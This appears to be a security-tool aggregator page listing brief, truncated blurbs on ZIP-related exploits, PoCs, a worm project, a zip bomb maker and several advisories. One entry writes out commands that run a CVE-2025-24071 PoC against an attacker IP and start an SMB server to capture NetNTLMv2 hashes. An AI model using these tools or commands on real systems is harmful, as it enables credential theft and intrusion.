CVE-2023-36025

CVE-2023-36025 Simple test for CVE-2023-36025, based on PoC demoed in https://twitter.com/wdormann/status/1725148437115473947 This code is not meant to run out of the box - the ZIP file must be hosted on a server you own, and be accesible to the victim machine on a file:// URL...

ZIPFileRaider

ZIP File Raider - Burp Extension for ZIP File Payload Testing ZIP File Raider is a Burp Suite extension for attacking web application with ZIP file upload functionality. You can easily inject Burp Scanner/Repeater payloads in ZIP content of the HTTP requests which is not feasible by default. This...

CVE-2021-25094

CVE-2021-25094 Tatsu Plugin ZIP File addcustomfont unrestricted upload usage php p.php...

Zip-Cracker-

Zip Cracker This Script Supports Only Zip File in This Verson You Can Also Use This Script With crunch Cross-platform Supported Usage: zipcracker.py options root@kitploit: Options: --version show program's version number and exit -h, --help show this help message and exit -f FILENAME,...

zip_smuggling

zipsmuggling This Python utility creates zip files that contain additional data embedded within the file structure. This extra data is not visible/does not display when the zip is examined or decompressed, but can be retrieved using powershell via a Windows shortcut file LNK within the zip file...

Wormy

Wormy - La sfida In questo repo scriverò alcune funzioni in python3 nel mio tempo libero per aggiungere "funzionalità di diffusione simili a worm" a qualsiasi backdoor python. Dopo aver finito lo trasformerò in un vero worm Lista ToDo : 1Diffusione nei driver, aggiunta all'avvio e controllo...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 Una vulnerabilità di upload arbitrario di file nel componente /inc/modulesinstall.php di Pluck-CMS v4.7.18 consente agli attaccanti di eseguire codice arbitrario tramite il caricamento di un file ZIP appositamente predisposto. Questa è una vulnerabilità...

CVE-2023-50564

CVE-2023-50564 Solo a scopo educativo. Questo script sfrutta CVE-2023-50564 per caricare una reverse shell PHP sul server di destinazione. Puoi utilizzare una shell come questa. Basta zippare il file PHP e passare lo zip a questo script. Esempio root@kitploit: python3 cve-2023-50564.py -u...

CVE-2023-40028

CVE-2023-4002 Ghost-Arbitrary-File-Read : O nome de usuário/e-mail para o Ghost CMS alvo. --password : A senha para o Ghost CMS alvo. --url : A URL do Ghost CMS alvo ex.: http://website.com. 1. Login: O script autentica na API de administração do Ghost CMS e recupera um cookie de sessão. 2. Shell...

zip_bomb

ZIP-Bomben-Ersteller ZIP-Bomben-Ersteller ist ein Werkzeug zum Erstellen einer ZIP-Datei, die eine geringe Größe hat, sich beim Extrahieren jedoch drastisch vergrößert. Dies ist nützlich für Sicherheitsexperimente und zum Testen von Dateisystemen gegen ZIP-Bomben-Angriffe. Funktionen Erstellen...

CVE-2025-24071_PoC

CVE-2025-24071 / CVE-2025-24054 PoC Modifica: MICROSOFT HA RINOMINATO CVE-2025-24071 IN CVE-2025-24054 🤔 Panoramica Questa vulnerabilità di Windows, in particolare in 'explorer.exe', ci consente di ricevere un hash NetNTLMv2 da una vittima semplicemente facendo estrarre un file .zip all'attaccant...

zipbrk

zipbrk 2.2.0 Zip break ist ein Werkzeug zum Zerlegen, Modifizieren und Wiederzusammensetzen von Zip-Dateien für eine Vielzahl von Aufgaben. Es ist plattformübergreifend konzipiert und so einfach wie möglich auf verschiedene Systeme zu portieren. Getestet wurde es auf Windows 9x/2k/XP, Windows...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 ist eine RCE-Schwachstelle in Pluck CMS v4.7.18. Sie wird durch eine beliebige Datei-Upload-Schwachstelle in der Komponente /inc/modulesinstall.php ermöglicht, die es erlaubt, beliebigen Code durch das Hochladen einer bösartigen .zip-Datei auszuführen. Verwendung Bev...

CVE-2016-5636

CVE-2016-5636 PoC para CVE-2016-5636, que é um estouro de heap no Python 3.6. Este repositório inclui: crash-with-zip : PoC de crash ao ler arquivo zip não confiável google-web-engine : PoC de crash funcionando no google web engine spawn-shell : um exploit local para obter shell...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP créé : try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2026-15310 zipfile: bzip2/LZMA/Zstandard members decompress without a max_length bound, defeating chunked-read memory limits

When decompressing crafted zip files using the bzip/LZMA/Zstandard compressions, Python could use an attacker-controlled size to pre-allocate memory, possibly resulting in memory exhaustion...

spyre

Spyre ...a simple, self-contained modular host-based IOC scanner Spyre is a simple host-based IOC scanner built around the YARA pattern matching engine and other scan modules. The main goal of this project is easy operationalization of YARA rules and other indicators of compromise. Users need to...

BIT-PYTHON-2026-3087 shutil.unpack_archive() doesn't check for Windows absolute paths in ZIPs

If shutil.unpackarchive is given a ZIP archive with an absolute Windows path containing a drive C:\... then the archive will be extracted outside the target directory which is different than other operating systems. Only Windows is affected by this vulnerability...

[SECURITY] [DLA 4741-1] unzip security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4741-1 [email protected] https://www.debian.org/lts/security/ Andrej Shadura August 16, 2026 https://wiki.debian.org/LTS -...

EUVD-2026-54528

A vulnerability in the zip archive parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition on an affected device. This vulnerability is due to improper boundary checks for content in zip files during scanning, which may result in an out-of-bounds write condition...